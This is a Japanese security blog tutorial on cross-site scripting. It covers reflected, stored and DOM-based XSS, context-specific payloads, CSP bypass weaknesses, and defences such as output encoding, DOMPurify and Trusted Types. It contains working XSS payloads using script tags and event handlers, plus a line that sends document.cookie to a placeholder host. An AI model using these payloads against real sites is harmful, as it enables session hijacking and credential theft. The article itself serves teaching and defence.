# XSS攻撃の完全攻略【2026】反射・蓄積・DOM型／コンテキスト別ペイロード／CSP回避 — 公式ドキュメント忠実版

> クロスサイトスクリプティング（XSS）の攻撃手法を、PortSwigger Web Security Academyに忠実に深掘り。反射型・蓄積型・DOM型の違いと検出、HTML/属性/JavaScript/URLの各コンテキストでのペイロードの作り分け、source→sinkで追うDOM型XSS、CSP（Content Security Policy）の役割と回避の考え方、そして文脈別の出力エンコードとTrusted Typesによる根本対策までを、自分のラボ限定の実例で解説します。

- 公開日: 2026-06-28
- 著者: 友田 陽大
- タグ: セキュリティ, ホワイトハッカー, XSS, 脆弱性診断, Webセキュリティ
- URL: https://tomodahinata.com/blog/xss-attack-techniques-reflected-stored-dom-csp-bypass-guide
- カテゴリ: 実践Webハッキング技法
- 総合ガイド: https://tomodahinata.com/blog/web-application-hacking-techniques-methodology-owasp-portswigger-guide

## 要点

- XSSの本質は『出力時にコンテキストを無視する』こと。同じ入力でも、HTML本文・属性値・script内・URLのどこに出るかでエスケープ要件が変わる。検出は一意な文字列を入れて反射位置を特定し、文脈ごとにブレイクアウトを試す
- 3類型：反射型（リクエスト由来・URLを踏ませる）、蓄積型（DBに保存され他者に発火・最も影響大）、DOM型（クライアントJSがsourceからsinkへ危険に渡す）。蓄積型とDOM型を見落とさないのがプロの分かれ目
- DOM型は source（location.hash等）→ sink（innerHTML/eval等）のデータフローで追う。サーバーを介さずブラウザ内で完結するため、Burpのレスポンス検査だけでは見つからない。DOM Invaderが有効
- CSP（Content Security Policy）は被害を緩和する多層防御。だが nonce/strict-dynamic を正しく設計しないと、unsafe-inline や緩いホスト許可で回避される。CSPは『最後の砦』であり入力対策の代替ではない
- 根本対策は『文脈別の出力エンコード』。HTML本文・属性・JS・URLそれぞれに正しいエンコードを当て、innerHTMLを避けtextContentを使う。フレームワーク（React等）の自動エスケープを外さない。dangerouslySetInnerHTMLは要監査

---

XSS（クロスサイトスクリプティング）は、**被害者のブラウザで攻撃者のJavaScriptを実行させる**脆弱性です。セッションの乗っ取り、資格情報の窃取、なりすまし操作——[PortSwigger](https://portswigger.net/web-security/cross-site-scripting) が言う通り「ユーザーとアプリの相互作用を丸ごと侵害」できます。本記事は、その攻撃手法を公式に忠実に、手を動かせる粒度で解説します。

> **絶対の前提:** 全ペイロードは [合法ラボ](/blog/ethical-hacking-home-lab-kali-juice-shop-ctf-self-study-roadmap-guide) または許可スコープでのみ。他人のサイトでの「ちょっと試す」も無許可なら違法になり得ます（→ [法律ガイド](/blog/ethical-hacker-law-japan-unauthorized-access-act-active-cyber-defense-disclosure-guide)）。攻撃クラスの地図は [ピラー](/blog/web-application-hacking-techniques-methodology-owasp-portswigger-guide) を参照。

---

## 1. XSSの本質 — 出力コンテキストの無視

XSSは「入力の問題」だと誤解されがちですが、正確には**出力の問題**です。同じ `"><script>` でも、**どこに出力されるか**でエスケープ要件が変わります。

```html
<!-- ① HTML本文に出る → タグとして解釈される -->
<div>こんにちは、[ここに出力]さん</div>

<!-- ② 属性値に出る → 属性を閉じてイベントハンドラを足せる -->
<input value="[ここに出力]">

<!-- ③ <script>内に出る → JS文字列を閉じてコードを足せる -->
<script>var name = "[ここに出力]";</script>
```

**検出の第一歩**は、`xss1234` のような**一意な文字列**を入れて、レスポンスの**どこに・どうエスケープされて出るか**を確認すること。そこから文脈に応じた「ブレイクアウト」を組み立てます。

---

## 2. 反射型XSS（Reflected）

入力が**そのリクエストのレスポンスに即座に反射**されるケース。攻撃者は細工したURLを被害者に踏ませます。

```text
# 検索パラメータがそのままHTML本文に反射される場合
https://lab.example/search?q=<script>alert(document.domain)</script>
```

実務では `alert()` ではなく**影響の実証**まで示します（PoC）。例えばセッションCookieを攻撃者サーバーへ送る——ただし**これは自分のlab/許可スコープでのみ**。

```html
<script>new Image().src='https://<自分の検証用>/c?'+document.cookie</script>
```

---

## 3. 蓄積型XSS（Stored）— 最も影響が大きい

入力が**DBに保存され、後で他のユーザーに表示される**ときに発火します。コメント欄・プロフィール・商品レビューが定番の入口。

```text
# レビュー本文に保存される
コメント: 素晴らしい商品です<script>/* 閲覧した全員のブラウザで実行 */</script>
```

**反射型は「踏ませる」必要があるが、蓄積型は「見た全員」に発火**します。管理画面に保存されれば、管理者のセッションを奪える。**影響度が段違い**なので、保存される全入力（特に管理者が見る画面）を必ずテストします。

---

## 4. DOM型XSS（DOM-based）— source から sink へ

サーバーを介さず、**クライアントのJavaScriptが危険な処理をする**ことで起きます。データの流れ（source → sink）で追うのが鉄則です。

```js
// 脆弱な例：URLのフラグメント(source)を innerHTML(sink)へ直接渡す
const q = location.hash.slice(1);        // source: 攻撃者が制御できる
document.getElementById("out").innerHTML = q;  // sink: HTMLとして解釈される
```

```text
# 攻撃URL（# 以降はサーバーに送られず、クライアントだけで処理される）
https://lab.example/#<img src=x onerror=alert(document.domain)>
```

| source（入力源） | sink（危険な出力先） |
|---|---|
| `location.hash` / `search` / `href` | `innerHTML` / `outerHTML` |
| `document.referrer` | `document.write()` |
| `postMessage` のdata | `eval()` / `Function()` |
| `localStorage` | jQuery `$(...).html()` |

DOM型は**サーバーのレスポンスに痕跡が出ない**ため、Burpのレスポンス検査だけでは見つかりません。[Burpの DOM Invader](/blog/burp-suite-getting-started-proxy-repeater-intruder-web-security-testing-guide) のような、ブラウザ内でsource→sinkを追う仕組みが有効です。

---

## 5. コンテキスト別ペイロードの作り分け

「同じペイロードはどこでも効く」は誤りです。**文脈に応じてブレイクアウトを設計**します。

```html
<!-- 属性値コンテキスト：属性を閉じてイベントを注入 -->
"><svg onload=alert(1)>
" autofocus onfocus=alert(1) x="

<!-- JS文字列コンテキスト：文字列とスクリプトを閉じる -->
</script><script>alert(1)</script>
'-alert(1)-'

<!-- HTMLタグが除去される環境：タグなしで発火 -->
<img src=x onerror=alert(1)>
<details open ontoggle=alert(1)>
```

`<script>` がフィルタされても `onerror`/`onload`/`ontoggle` などの**イベントハンドラ**で発火できる——だから「`<script>`だけ消す」ブラックリストは不完全だとわかります。PortSwigger の [XSS cheat sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) が網羅的です。

---

## 6. CSP（Content Security Policy）— 最後の砦と、その回避

CSPは「どこからスクリプトを読み込み・実行してよいか」をブラウザに宣言する**多層防御**です。XSSを完全には防げませんが、**被害を大幅に緩和**します。

```http
# 強いCSPの例：nonce + strict-dynamic（インラインも外部も原則禁止）
Content-Security-Policy: script-src 'nonce-r4nd0m' 'strict-dynamic'; object-src 'none'; base-uri 'none'
```

逆に、**弱いCSPは回避されます**。代表的な穴：

- `'unsafe-inline'` を許可 → インラインスクリプトが通り、CSPがほぼ無意味化。
- 緩いホスト許可（例：CDN全体やJSONPを返すドメイン）→ そこ経由でスクリプト実行。
- `base-uri` 未設定 → `<base>` 注入で相対URLの読み込み先を乗っ取られる。

> **設計の教訓:** CSPは**nonceベース + strict-dynamic**で組み、`unsafe-inline`を使わない。Next.jsでの実装（middlewareでnonce発行）は [セキュリティヘッダ/CSP実装ガイド](/blog/nextjs-security-headers-csp-nonce-middleware-guide) で詳説しています。**CSPは入力対策の代替ではなく、入力対策が破れたときの保険**です。

---

## 7. 【守る側】根本対策 — 文脈別の出力エンコード

PortSwigger と [OWASP XSS Prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html) の結論は一致します。**「出力する文脈に応じた正しいエンコード」**が本筋です。

```tsx
// ✅ React等のフレームワークは既定で文脈に応じてエスケープする
// → 自動エスケープを「外さない」のが最大の防御
function Comment({ text }: { text: string }) {
  return <div>{text}</div>; // {} 補間は自動でHTMLエスケープされる（安全）
}

// ⚠️ dangerouslySetInnerHTML はエスケープを外す = XSSの主要因
// 使うなら必ずサニタイズ（DOMPurify等）を通し、監査対象にする
function RichText({ html }: { html: string }) {
  const clean = DOMPurify.sanitize(html); // 許可タグだけ残す
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
```

設計原則を整理します。

- **HTML本文** → HTMLエンティティエンコード（`<` → `&lt;`）。フレームワークの自動補間に任せる。
- **属性値** → 属性コンテキスト用エンコード + 必ずクオートで囲む。
- **JavaScript** → ユーザー入力を `<script>` 内に直接書かない。`JSON.stringify` 経由でデータ層に分離。
- **DOM操作** → `innerHTML` を避け `textContent` を使う。やむを得ず使うなら [Trusted Types](https://developer.mozilla.org/en-US/docs/Web/API/Trusted_Types_API) を導入。
- **URL** → `javascript:` スキームを弾き、`encodeURIComponent` で。
- **多層防御** → nonceベースCSP・`HttpOnly` Cookie（JSからセッションを読めなくする）。

Next.js × Supabase 環境での DOM XSS・`dangerouslySetInnerHTML` の具体的な検出と対策は [専用ガイド](/blog/nextjs-xss-dom-xss-dangerouslysetinnerhtml-prevention-guide) にまとめています。

---

## 8. まとめ

- **本質は出力コンテキスト**：同じ入力でもHTML本文/属性/JS/URLでエスケープ要件が違う。
- **3類型**：反射（踏ませる）・蓄積（見た全員・最大影響）・DOM（source→sink）。蓄積とDOMを見落とさない。
- **ブラックリストは破れる**：`<script>`を消しても`onerror`等で発火。
- **CSPは保険**：nonce + strict-dynamic で組む。`unsafe-inline`は禁。
- **根本対策は文脈別エンコード**：フレームワークの自動エスケープを外さない。`innerHTML`より`textContent`。

次は、サーバー自身を踏み台にする [SSRF攻撃の完全攻略](/blog/ssrf-attack-techniques-cloud-metadata-blind-filter-bypass-guide) へ。

---

### 参考（公式一次情報）

- [PortSwigger: Cross-site scripting](https://portswigger.net/web-security/cross-site-scripting) ／ [DOM-based](https://portswigger.net/web-security/cross-site-scripting/dom-based) ／ [XSS cheat sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) ／ [CSP](https://portswigger.net/web-security/cross-site-scripting/content-security-policy)
- [OWASP: XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html) ／ [DOM based XSS Prevention](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html)
- [MDN: Trusted Types API](https://developer.mozilla.org/en-US/docs/Web/API/Trusted_Types_API)
